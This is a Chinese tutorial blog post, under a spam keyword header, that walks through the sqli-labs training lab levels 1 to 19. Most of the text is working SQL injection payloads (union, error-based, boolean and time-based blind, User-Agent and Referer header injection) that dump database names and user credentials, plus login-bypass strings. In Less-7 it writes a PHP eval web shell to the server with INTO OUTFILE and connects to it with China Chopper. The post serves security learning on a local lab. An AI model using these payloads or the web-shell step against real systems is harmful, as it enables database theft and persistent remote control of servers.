日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

1-35关精选篇

發布時間:2024/6/1 编程问答 56 豆豆
生活随笔 收集整理的這篇文章主要介紹了 1-35关精选篇 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

剛做sqli-lab的時候,我逛了幾個博客論壇沒找到什么特別完整的教程,在這里寫一篇更完整的教程。

本教程中使用到的大部分函數可以在我的 sql注入入門必備基礎知識中找到具體說明和使用方法。

一些術語使用錯誤請見諒。

一些題目有多種方法,本人也是在學習當中,我會盡可能補全,但是精力有限,文章不盡完美,請見諒。


?

目錄

Page-1(Basic Challenges)

Less-1 GET - Error based - Single quotes - String(基于錯誤的GET單引號字符型注入)

Less-2 GET - Error based - Intiger based (基于錯誤的GET整型注入)

Less-3 GET - Error based - Single quotes with twist string (基于錯誤的GET單引號變形字符型注入)

Less-4 GET - Error based - Double Quotes - String (基于錯誤的GET雙引號字符型注入)

Less-5 GET - Double Injection - Single Quotes - String (雙注入GET單引號字符型注入)

Less-6 GET - Double Injection - Double Quotes - String (雙注入GET雙引號字符型注入)

Less-7 GET - Dump into outfile - String (導出文件GET字符型注入)

Less-8 GET - Blind - Boolian Based - Single Quotes (布爾型單引號GET盲注)

Less-9 GET - Blind - Time based. - ?Single Quotes ?(基于時間的GET單引號盲注)

Less-10 GET - Blind - Time based - double quotes (基于時間的雙引號盲注)

Less-11 POST - Error Based - Single quotes- String (基于錯誤的POST型單引號字符型注入)

Less-12 POST - Error Based - Double quotes- String-with twist (基于錯誤的雙引號POST型字符型變形的注入)

Less-13 POST - Double Injection - Single quotes- String -twist (POST單引號變形雙注入)

Less-14 POST - Double Injection - Single quotes-??String -twist?(POST單引號變形雙注入)

less-15?POST - Blind- Boolian/time Based - Single quotes (基于bool型/時間延遲單引號POST型盲注)

Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/時間延遲的雙引號POST型盲注)

Less-17 POST - Update Query- Error Based - String (基于錯誤的更新查詢POST注入)

Less-18 POST - Header Injection - Uagent field - Error based (基于錯誤的用戶代理,頭部POST注入)

Less-19 POST - Header Injection - Referer field - Error based (基于頭部的Referer POST報錯注入)

?

Page-2 (Advanced Injections)

Less-20 POST - Cookie injections - Uagent field? - Error based (基于錯誤的cookie頭部POST注入)

Less-21 Cookie Injection- Error Based- complex - string?( 基于錯誤的復雜的字符型Cookie注入)

Less-22 Cookie Injection- Error Based- Double Quotes - string (基于錯誤的雙引號字符型Cookie注入)

Less-23 GET - Error based - strip comments (基于錯誤的,過濾注釋的GET型)

Less - 24 Second Degree Injections??*Real treat* -Store Injections (二次注入)

Less-25 Trick with OR & AND (過濾了or和and)

? ? ? ? ?Less-25a?Trick with OR & AND Blind (過濾了or和and的盲注)

? ? ? ? ? ? ? ? ? ?Less-26(failed) Trick with comments and space (過濾了注釋和空格的注入)

? ? ? ? ? ? ? ? ? ?/*26-28轉https://blog.csdn.net/nzjdsds/article/details/77430073#t9*/

? ? ? ? ??less 26 ?Trick with comments and space (過濾了注釋和空格的注入)

? ? ? ? ??less 26a GET - Blind Based - All your SPACES and COMMENTS belong to us(過濾了空格和注釋的盲注)

? ? ? ? ??less 27 GET - Error Based- All your UNION & SELECT belong to us (過濾了union和select的)

? ? ? ? ??less 27a GET - Blind Based- All your UNION & SELECT belong to us

? ? ? ? ? ?less 28 GET - Error Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于錯誤的,有括號的單引號字符型,過濾了union和select等的注入

? ? ? ? ? ??less 28a GET - Bind Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于盲注的,有括號的單引號字符型,過濾了union和select等的注入

Less-29 基于WAF的一個錯誤

Less-30 Get-Blind Havaing with WAF

Less-31 Protection with WAF

Less-32 Bypass addslashes()

Less-33 Bypass addslashes()

Less-34 Bypass Add SLASHES

Less-35 why care for addslashes()

結語



Page-1(Basic Challenges)

?

?

Less-1 GET - Error based - Single quotes - String(基于錯誤的GET單引號字符型注入)

  • 方法一:手工UNION聯合查詢注入

輸入單引號,頁面報錯,如下圖所示

根據報錯信息,可以確定輸入參數的內容被存放到一對單引號中間,

猜想:咱們輸入的1在數據庫中出現的位置為:select ... from ... where id=’1’ ......,

也可以查看sqli-lab中less-1的php文件可以看到,和猜想一致,

多余的步驟不多說了,直接開始爆數據吧。

?

注意 id=非正確值

爆庫payload

?id=-1' union select 1,2,database() --+

得到‘security’庫名

爆表payload

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

查到? emails,referers,uagents,users ,顯然users是用戶數據表

?

爆列名(字段)payload

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

爆值payload

?id=0' union select 1,2,group_concat(username,0x3a,password) from users--+

0x3a: 0x是十六進制標志,3a是十進制的58,是ascii中的 ':' ,用以分割pasword和username。

?

方法二:手工報錯型注入

檢測報錯型payload

  • ?id=1' and 1=1--+ //正確
  • ?id=1' and 1=2--+ //失敗
  • 證明確實存在手工報錯型注入,

    注意id=正確值

    ?

    爆表payload

    ?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

    爆列名(字段)payload

    ?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

    ?顯然沒有完全顯示

    使用 and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login') 來顯示其他值:

    ?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login')))) --+

    爆值payload

    ?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+

    同樣使用not in顯示其他值

    ?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+

    ?

    方法三:sqlmap工具自動注入

    sqlmap最起碼適用于1-10題,其他沒試過,sqlmap的使用有教程,我先不在這里寫了,畢竟這篇主要是理解sql注入的教程。

    以后有空再補充吧。

    注入結束。

    ?

    Less-2 GET - Error based - Intiger based (基于錯誤的GET整型注入)

    輸入單引號,根據報錯信息確定咱們輸入的內容被原封不動的帶入到數據庫中,也可叫做數字型注入,

    就是,把第一題中id=1后面的單引號去掉,其它保持不變就行了,不再贅述。

    ?

    Less-3 GET - Error based - Single quotes with twist string (基于錯誤的GET單引號變形字符型注入)

    輸入單引號,根據報錯信息確定咱們輸入的內容存放到一對單引號加圓括號中了,猜想一下咱們輸入1在數據庫語句中的位置,形如select ... from ... where id=(‘1’) ...,在第一題中id=1‘的后面單引號加上),其它保持不變就行了,不再贅述。

    其實我推薦,做完題去看看它題目的php傳參語句,和過濾語句,對理解sql注入原理很有幫助的。

    ?

    Less-4 GET - Error based - Double Quotes - String (基于錯誤的GET雙引號字符型注入)

    輸入單引號,頁面無任何變化,

    輸入雙引號,頁面報錯,

    根據報錯信息判斷出咱們輸入的內容被放到一隊雙引號和圓括號中,

    猜想一下:select ... from ... where id=(”1”) ...,把第一題中1后面的引號換成雙引號加)就可以了。

    不再贅述。

    ?

    Less-5 GET - Double Injection - Single Quotes - String (雙注入GET單引號字符型注入)

    看到這個報錯信息,第一反應就是布爾型盲注、報錯型注入、時間延遲型盲注了

    下面給出驗證時間延遲型的盲注:

    http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and sleep(5)--+

    發現明顯延遲,說明猜測正確。接下來的思路是通過延遲,依次爆破數據庫長度,數據庫名,表名,列名,以及字段。

    布爾型和時間延遲型盲注建議采用sqlmap去跑。

    其實本題不能稱作盲注,因為存在回顯,真正的盲注時不存在回顯的,只能根據瀏覽器加載頁面情況,判定是否注入成功。

    一些專業術語的誤用請見諒。

    方法一:時間延遲型手工注入:

    時間延遲型手工注入,正確會延遲,錯誤沒有延遲。id無所謂,又不看回顯,可以通過瀏覽器的刷新提示觀察延遲情況,但是id正確的時候的回顯有利于觀察。

    時間延遲型報錯型payload核心部分的構造相同

    本方法中payload? =? ?id=1' and if(報錯型payload核心部分,sleep(5),1)--+

    爆庫長payload

    ?id=1' and if(length(database())=8,sleep(5),1)--+

    ?

    ?明顯延遲,數據庫長度為8.

    爆庫名payload

    ?id=1' and if(left(database(),1)='s',sleep(5),1)--+

    ?

    明顯延遲,數據庫第一個字符為s,加下來以此增加left(database(),字符長度)中的字符長度,等號右邊以此爆破下一個字符,正確匹配時會延遲。最終爆破得到left(database(),8)='security'

    爆表名payload

    ?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+

    通過堅持不懈的測試,終于在limit 3,1 爆破出user表名為users.

    爆列名payload

    ?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+

    首先嘗試定向爆破,以提高手工注入速度,修改limit x,1 中的x查詢password是否存在表中,lucky的是limit 3,1的時候查到了password列,同樣的方法查詢username ,又一個lucky,接下來爆破字段的值。

    爆破值payload

    ?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+ ?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

    ?按照id排序,這樣便于對應。注意limit 從0開始.通過堅持不懈的嘗試終于爆破到第一個用戶的名字dumb,密碼dumb,需要注意的是,mysql對大小寫不敏感,所以你不知道是Dumb 還是dumb。

    還有下面的還幾個用戶沒爆破,重復性的工作,我們技術人,應該少做,要學會如何在前人的基礎上更近一層,前幾天看了劉慈欣的《鄉村教師》,感觸很深,我們使用聲波文字這樣的載體傳輸信息,每秒傳輸幾個字節,而且我們的存儲體系很弱,這就很大程度阻止我們人類文明進程的發展速度的提高。

    所以要在更多的在前人的基礎上創造新的東西。

    這種重復性的工作,不要多做。sql注入,人生苦短,快用sqlmap。

    方法二,布爾型手工注入:

    在布爾型注入中,正確會回顯,錯誤沒有回顯,以此為依據逐字爆破,注意id=1

    手工注入時可使用例如left((select database()),1)<'t'? 這樣的比較二分查找方法快速爆破。

    暴庫payload

    ?id=1' and left((select database()),1)='s'--+

    ?

    ?

    可以看>'t'無回顯,而<'t'有回顯。

    最終確定的庫名為security。

    爆表paylaod

    ?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+

    修改limit x,1和left中的位數限定數字,爆破到第一張表為referer,終于在第三張表爆破到user表,名為users。

    爆列名payload

    ?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' --+

    定向爆破制定password為字段名,最后找到第4個字段為password,同理看看有沒有usrname,最后到找到了,接下來只需要爆破這兩個字段的值就完事了。

    爆字段payload

    ?id=1' and left((select password from users order by id limit 0,1),1)='d' --+

    用戶名

    ?id=1' and left((select username from users order by id limit 0,1),1)='d' --+

    按照id排序,這樣便于對應。注意limit 從0開始.最后爆破到第一個用戶的名字dumb,密碼dumb,需要注意的是,mysql對大小寫不敏感,所以你不知道是Dumb 還是dumb。

    布爾型的盲注比較煩的的就是手工注入很麻煩,必須慢慢試。

    方法三,使用concat聚合函數

    參考資料:http://www.2cto.com/article/201303/192718.html

    簡單的說,使用聚合函數進行雙注入查詢時,會在錯誤信息中顯示一部分錯誤信息。

    比如count函數后面如果使用分組語句就會把查詢的一部分以錯誤的形式顯示出來。

    例如select count(*), concat((select version()), floor(rand()*2))as a from information_schema.tables group by a;
    查詢數據庫版本,我在phpmyadmin中測試:

    可以看到測試的錯誤信息中出現了版本號。即構造雙查詢,比如派生表,使一個報錯,另一個的結果就會出現在報錯的信息中。廢話不多說,想了解更詳細的看鏈接的內容,下面進入正題。

    payload在concat()中構造

    爆庫payload

  • ?id=-1'union select count(*),count(*), concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
  • //或者
  • ?id=-1'union select count(*),1, concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
  • //注意本本方法具有隨機性,原理待研究
  • ?

    爆用戶payload

    ?id=-1' union select count(*),1, concat('~',(select user()),'~', floor(rand()*2)) as a from information_schema.tables group by a--+

    爆表名payload

    ?id=-1' union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

    ?修改limit x,1 可以遍歷表名,找到user這個表,猜測它存放username和password

    爆列名payload

    ?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

    ??修改limit x,1 可以遍歷列名,找到username和password列

    爆字段payload

    ?id=-1' union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

    ?

    修改limit x,1 可以顯示第x個用戶的password和username? (‘[’是分隔符)

    注入結束。


    Less-6 GET - Double Injection - Double Quotes - String (雙注入GET雙引號字符型注入)

    ?雙引號字符型注入,上一題的單引號改成雙引號就可以了,同樣是兩種方法:時間延遲型的手工盲注、報錯型的手工盲注或者sqlmap,再有利用concat()幾聚合數。

    步驟和第五題一樣,不再贅述。


    Less-7 GET - Dump into outfile - String (導出文件GET字符型注入)

    幾次嘗試,不難猜出注釋符被過濾了,但是看看題目:less 7?GET - Dump into outfile - String (導出文件GET字符型注入)

    所以大概要使用文件導出。我投機取巧了,找了個簡單題less-2直接注入拿到路徑,方便導出。

    這里插個小擴展:

    winserver的iis默認路徑c:\Inetpub\wwwroot

    linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等

    apache 就.../var/www/htm,.../var/www/html/htdocs

    phpstudy 就是...\PhpStudy20180211\PHPTutorial\WWW\

    xammp 就是...\xampp\htdocs

    payload

    Less-2/?id=-1 union select 1,@@basedir,@@datadir --+

    注入less-7

    payload

    ?id=1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "F:\\WhiteFlie\\PhpStudy20180211\\PHPTutorial\\WWW\\sqli-labs\\ttt.php"--+

    php的一句話我就不多解釋了。

    注意下這里的路徑必須用 \\

    雖然回顯報錯,但是查看本地文件已經寫入了ttt.php,接下來中國菜刀(有需要的可以給評論一下,Email給你)連接一下。

    連接之前最好用瀏覽器訪問一下,相當于運行一下,否則可能連不上。

    地址:php一句話木馬的地址,后面的口令就是剛才寫的post里寫的cmd,當然可以使用其他口令。

    本題是導出文件GET字符型注入,實際情況下,如果可掃描出phpmyadmin的后臺,并且后臺使用弱口令,也可以通過爆破進入后臺,從后臺注入文件。

    大致過程:

    再phpmyadmin的sql中執行命令:

  • use test; //選擇數據庫為test
  • create table test(bbb varchar(64)); //在數據庫中創建一個表test
  • insert into test values("<?php @eval($_POST['cmd']);?>"); //在test中插入一條數據
  • <?php @eval($_POST['cmd']);?> select * from test into outfile '一句話木馬路徑'; //將test中的數據導出到php文件
  • 然后菜刀連接一下。

    再或者直接用sqlmap跑也是可以的,不在贅述。

    注入完成。

    • PS:

    需要說一下這個方法需要mysql數據庫開啟secure-file-priv寫文件權限,否則不能寫入文件。

    這是個坑,這里說一下方法,方便讀者,不需要麻煩的再去找其他博客資料。

    如果你使用的時phpstudy,或者xammp請修改其自己的環境里的mysql配置文件。

    進入mysql安裝目錄,找到my.ini 修改里面的secure-file-priv參數

    如果發現沒有secure_file_priv這個選項,直接再最后添加一個空的即可。

    如果引號中是一個文件路徑的話,導入/出的文件路徑會再這個路徑下。

    這破問題困擾我挺長時間的,現在在這說下,讓以讀者少走彎路。


    Less-8 GET - Blind - Boolian Based - Single Quotes (布爾型單引號GET盲注)

    題目名字暴露一切,本來不想看的,又瞥到了,布爾型盲注,單引號,id=1回顯,價格單引號不回顯,構造一下驗證是不是布爾型payload ?id=1' and 1=1 --+ 回顯了,證明沒跑了。

    那就一步一步來吧,和less5一樣的,根據回顯判斷。

    可以通過 > < 比較字符大小加速爆破

    暴庫payload

    ?id=1' and left((select database()),1)='s'--+

    庫名長度可使用?id=1' and length(database())=8--+ 判斷,同理表名字,段名等。

    最后得到庫名?id=1' and left((select database()),8)='security'--+

    爆表,爆字段,爆值,流水操作,和less5的方法二,手工注入所有payload一摸一樣,不再贅述。

    less5的方法二,時間型的注入一樣能用,

    但是不知道為什么concat聚合函數這題用不了。

    注入完成。


    Less-9 GET - Blind - Time based. - ?Single Quotes ?(基于時間的GET單引號盲注)

    不管怎么輸入,回顯總是you are ...

    考慮時間型盲注,payload

    ?id=1' and sleep(3) --+

    注意id=1,發現明顯延遲,說明注入成功,接下來爆破就完了。

    這道題的payload構造和第五題的方法一是一樣的,一些廢話就不多說了,這里就列一下過程,完事兒。

    爆庫payload

    ?id=1' and if(length(database())=4 , sleep(3), 1) --+

    發現當?id=1' and if(length(database())=8 , sleep(3), 1) --+時明顯延遲,所以庫名長為8

    ?id=1' and if(left(database(),1)='s' , sleep(3), 1) --+

    發現明顯延遲說明庫名第一個字符為 's'

    繼續爆破?id=1' and if(left(database(),8)='security' , sleep(3), 1) --+

    說明庫名為 'security'

    爆表payload

    ?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' , sleep(3), 1) --+

    使用limit x,1 查詢第x個表名,和爆破庫名一樣,第一個表名為referer。終于,在第三個表爆到users這個表,顯然是用戶信息表。

    爆字段payload

    定向爆破password和username,這里就不解釋了,第五題里面寫的比較詳細了。

    ?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password', sleep(3), 1) --+ ?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 9,1),8)='username', sleep(3), 1) --+

    我在第4,9行分別爆破到password和username,個人環境不同的可能表位置有差別。

    爆值payload

    ?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+ ?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+

    爆破到第一個人的username:dumb,password:dumb。修改limit x,1 繼續爆破其他用戶,手工注入比較慢,可以使用sqlmap。

    注入結束。

    ?

    Less-10 GET - Blind - Time based - double quotes (基于時間的雙引號盲注)

    基于時間的雙引號盲注,只要把上一題Less-9的單引號改成雙引號,一樣的注入,不再贅述。

    ?


    • 11到21關的提交方式全是post型的,我這里使用火狐瀏覽器的HackBar
    • 實踐證明,只能使用burpsuit抓包軟件,修改post參數,所以棄用hackbar,改用burpsuit。

    界面常用選項介紹

    less11-less20登陸框的題可以輸入帶',",),的賬號密碼,根據報錯判斷sql查詢語句的構造方式:

    ?

    Less-11 POST - Error Based - Single quotes- String (基于錯誤的POST型單引號字符型注入)

    模擬真實環境,我們作為Dump用戶使用Dump密碼登陸,可以看到以下

    ?

    登陸成功

    此時打開hackbar選中post可以看到,已經自動載入的剛才提交的表單數據:

    我剛測試了一下,hackbar提交uname=admin' and 1=2 --+&passwd=admin&submit=Submit作為post參數時,無論and后面是1=1

    還是1=2,都能登陸,不知道為什么,可能是提交的時候自動加了+號連接語句的問題。

    所以現在改用burpsuit,抓包修改參數。

    • 重新來過

    輸入admin admin 登陸,抓包,發送到repeater模塊

    在repeater中通過修改post的參數進行注入。

    ?

    • 方法一 extractvalue測試payload
  • uname=admin' and 1=1 --+ &passwd=admin&submit=Submit //能登陸
  • uname=admin' and 1=2 --+ &passwd=admin&submit=Submit //不能登陸
  • 說明注入生效,存在報錯型注入,接下來又是重復性工作,上extractvalue()

    爆庫payload

    uname=admin' and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=admin&submit=Submit

    爆表payload

    uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+&passwd=admin&submit=Submit

    只能查詢到前幾個表,后面加上not in ()就可以查到其他表了,如:

    uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name not in ('emails')))) --+&passwd=admin&submit=Submit

    這里我們發現沒有更多的表了,而users表應該是存放用戶信息的,所以我們進入下一步。

    爆列名payload

    uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+&passwd=admin&submit=Submit

    使用同樣方法,可以查詢到其他列名,直到遍歷出所有列名,我們找到password和uername,開始爆值。

    爆值payload

    uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+&passwd=admin&submit=Submit

    同樣使用not in 可以查詢其他值:

    uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+&passwd=admin&submit=Submit

    • 方法二 聯合查詢union select測試payload
    uname=0' union select 1,2 --+&passwd=admin&submit=Submit

    注意uname是錯誤的,才能顯示聯合查詢內容。

    可以注入。

    然后就是最基本的union select注入,打個樣:

    爆庫payload

    uname=0' union select 1,database() --+&passwd=admin&submit=Submit

    不再贅述。

    注入結束。

    ?

    Less-12 POST - Error Based - Double quotes- String-with twist (基于錯誤的雙引號POST型字符型變形的注入)

    雙引號報錯型注入

    按照題意應該是可以使用上一題的payload只需要修改單引號為雙引號,但是實際測試不行,無論我使用--+還是%23還是#都不行,我就看了一下php文件:

    可以看到sql查詢語句:

    @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

    構造一個能閉合語句而且會報錯的payload:

    admin"? and extractvalue(1,concat(0x7e,(select database())))? and "?

    最終admin = "admin"? and extractvalue(1,concat(0x7e,(select database())))? and "?"

    傳入后就變成了:

    @$sql="SELECT username, password FROM users WHERE username="admin" and extractvalue(1,concat(0x7e,(select database()))) and " " and password=($passwd) LIMIT 0,1";

    ?

    ?前閉合,中間查詢,后面報錯,應該是這樣沒錯了,實際測試沒問題,可以回顯,接下來就再concat()中構造查詢語句:

    ?

    爆庫payload

    uname=admin" and extractvalue(1,concat(0x7e,(select database()))) and " &passwd=admin&submit=Submit

    ?

    爆表payload

    uname=admin" and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and " &passwd=admin&submit=Submit

    爆列payload

    uname=admin" and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) and " &passwd=admin&submit=Submit

    同樣使用not in查詢沒有顯示出的其他值。

    爆值payload

    uname=admin" and extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users))) and " &passwd=admin&submit=Submit

    ?

    方法二,聯合注入查詢。

    uname=0") union select 1,database() --+ &passwd=admin&submit=Submit

    和less-11一樣的聯合查詢,不再贅述。

    ?

    方法三,奇淫技巧

    ?

    ?報錯的內容為:

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin") LIMIT 0,1' at line 1

    可以看出,他在我們輸入的哪里多加了一個雙引號和括號。

    據此構造出萬能密碼的Payload:

    賬號:admin")#

    ?

    注入結束。

    ?

    Less-13 POST - Double Injection - Single quotes- String -twist (POST單引號變形雙注入)

    通過報錯可知? 是通過') 閉合的

    發現沒有登入成功返回信息 ,看來是要盲注了。

    方法一,報錯型

    既然它返回錯誤信息了,說明有回顯,可以報錯注入。

    樣例payload

    uname=admin') and extractvalue(1,concat(0x7e,(select database()))) and ('

    在concat()中構造查詢語句,完事,和less-12以及之前的報錯型注入一樣,不再贅述。

    方法二,時間型盲注

    因為可以報錯注入,這個方法沒有回顯,就有點雞肋了,給個樣例payload:

    uname=admin') and if(left(database(),1)='s',sleep(3),1) --+&passwd=admin&submit=Submit

    這就又和之前的一樣了,不在贅述。

    ?

    Less-14 POST - Double Injection - Single quotes-??String -twist?(POST單引號變形雙注入)

    輸入內容被放到雙引號中,報錯型注入,注釋符不可用

    ?

    方法一,報錯型

    樣例payload

    uname=admin" and extractvalue(1,concat(0x7e,(select database()))) and " &passwd=admin&submit=Submit

    ?

    方法二,時間型盲注

    效率低,雞肋

    樣例payload

    uname=admin" and if(left(database(),1)='s',sleep(3),1) --+ &passwd=admin&submit=Submit

    方法三,聚合函數

    具有隨機性,雞肋

    樣例payload

    uname= " union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a # &passwd=admin&submit=Submit

    ?

    注入結束。

    ?

    less-15?POST - Blind- Boolian/time Based - Single quotes (基于bool型/時間延遲單引號POST型盲注)

    盲注 - 基于布爾值 - 字符串

    怎么輸入都沒有回顯,那就時間延遲吧。

    布爾測試payload

  • uname=admin' and 1=1 --+&passwd=admin&submit=Submit //登陸成功
  • uname=admin' and 1=2 --+&passwd=admin&submit=Submit //登錄失敗
  • ?

    時間延遲測試payload

    uname=admin' and sleep(5) --+&passwd=admin&submit=Submit

    明顯延遲,確定使用延遲注入。

    手工延遲注入,最為致命。

    爆庫,表,列名,值,一次給出吧。

  • uname=admin' and if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit
  • uname=admin' and if(left(database(),1)='s',sleep(5),1)--+&passwd=admin&submit=Submit
  • uname=admin' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+&passwd=admin&submit=Submit
  • uname=admin' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+&passwd=admin&submit=Submit
  • uname=admin' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit
  • uname=admin' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit
  • ?

    ?

    Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/時間延遲的雙引號POST型盲注)

    這道題不管我在登陸框怎么輸入,都沒有錯誤信息顯示,猜測是延遲型盲注。

    ?

    方法一,時間延遲注入

    payload和less-15差不多,只需要把上一題正的單引號改為雙引號加括號 ") 就完事了。

    不再贅述

    ?

    方法二:奇淫技巧:

    萬能賬號繞過密碼驗證:admin")#

    注入結束。

    ?

    Less-17 POST - Update Query- Error Based - String (基于錯誤的更新查詢POST注入)

    單引號報錯型, 注釋符可用

    這題也沒有錯誤回顯,差點就盲注去了,但是我去查了一下php文件:

    顯然,這里對uname做了check_input的處理,check_input()函數如下

    看看是如何處理的

  • function check_input($value)
  • {
  • if(!empty($value))
  • {
  • // truncation (see comments)
  • $value = substr($value,0,15);
  • }
  • // Stripslashes if magic quotes enabled
  • if (get_magic_quotes_gpc())
  • {
  • $value = stripslashes($value);
  • }
  • // Quote if not a number
  • if (!ctype_digit($value))
  • {
  • $value = "'" . mysql_real_escape_string($value) . "'";
  • }
  • else
  • {
  • $value = intval($value);
  • }
  • return $value;
  • }
  • 只截取15個字符

    get_magic_quotes_gpc()

    當magic_quotes_gpc=On的時候,函數get_magic_quotes_gpc()就會返回1

    當magic_quotes_gpc=Off的時候,函數get_magic_quotes_gpc()就會返回0

    magic_quotes_gpc函數在php中的作用是判斷解析用戶提示的數據,如包括有:post、get、cookie過來的數據增加轉義字符“\”,以確保這些數據不會引起程序,特別是數據庫語句因為特殊字符引起的污染而出現致命的錯誤。

    在magic_quotes_gpc = On的情況下,如果輸入的數據有

    單引號(’)、雙引號(”)、反斜線(\)與 NULL(NULL 字符)等字符都會被加上反斜線。

    stripslashes()刪除由 addslashes() 函數添加的反斜杠

    ctype_digit()判斷是不是數字,是數字就返回true,否則返回false

    mysql_real_escape_string()轉義 SQL 語句中使用的字符串中的特殊字符。

    intval()?????整型轉換

    我靠做了這么多花里胡哨的過濾,你怎么沒對password也搞一次?

    ?

    針對password爆破:

    使用updatexml(),它和extractvaule()是親兄弟,以下測試version()返回mysql版本:

    ?

    爆庫payload

    ?

    爆表名payload

    ?

    爆列名payload

    uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','user','first_name','last_name','avatar','last_login','failed_login')),0x7e),1) --+ &submit=Submit

    ?

    爆值payload

    使用 :uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+ &submit=Submit

    發現不行:

    ?

    加一層select試試,

    uname=admin&passwd=admin' and? updatexml(1,concat(0x7e,(select password from (select password from users where username='admin'))),1) --+ &submit=Submit

    查了一下加個名,就完事了

    最終payload:

    uname=admin&passwd=11' and updatexml(1,concat(0x7e,(select password from (select password from users where username='admin') mingzi ),0x7e),1) --+&submit=Submit

    也可以用:

    uname=admin&passwd=11' and updatexml(1,concat(0x7e,(select password from (select password from users limit 7,1) test ),0x7e),1) --+&submit=Submit

    注入完成。

    ?

    Less-18 POST - Header Injection - Uagent field - Error based (基于錯誤的用戶代理,頭部POST注入)

    報錯型,單引號,user-agent型注入點。

    看到user-agent的回顯,猜測注入點在user-agnet,可以直接測試,但是我去看看php文件吧:

    我靠,真是說啥來啥,上一題還說passwrod沒做check,這題就做了,

    又看到 insert語句,他把user-agent插入到了數據庫,所以可以從這里下手,而且看的出來是單引號型,接下來開始爆破。

    抓包修改user-agent為一下payload就可以了。

    ?

    測試爆庫payload

    'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

    沒毛病,可以爆破

    接下來的步驟和之前的報錯型注入一摸一樣,

    payload可以參看,less-12 雙引號報錯型注入,只需要把雙引號改為單引號就可以作為本題的payload,這里就不再贅述。

    樣例爆庫payload:

    User-Agent:'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

    注入結束。

    ?

    ?

    Less-19 POST - Header Injection - Referer field - Error based (基于頭部的Referer POST報錯注入)

    單引號,報錯型,referer型注入點。

    本題和上一題很像,回顯是referer,查一下php文件可以發現,insert語句中向數據庫插入了referer,所以注入點改為referer,paylaod和上一題完全一樣,也可以參照less-12,將其雙引號改為單引號作為本題payload,不再贅述。

    樣例爆庫payload:

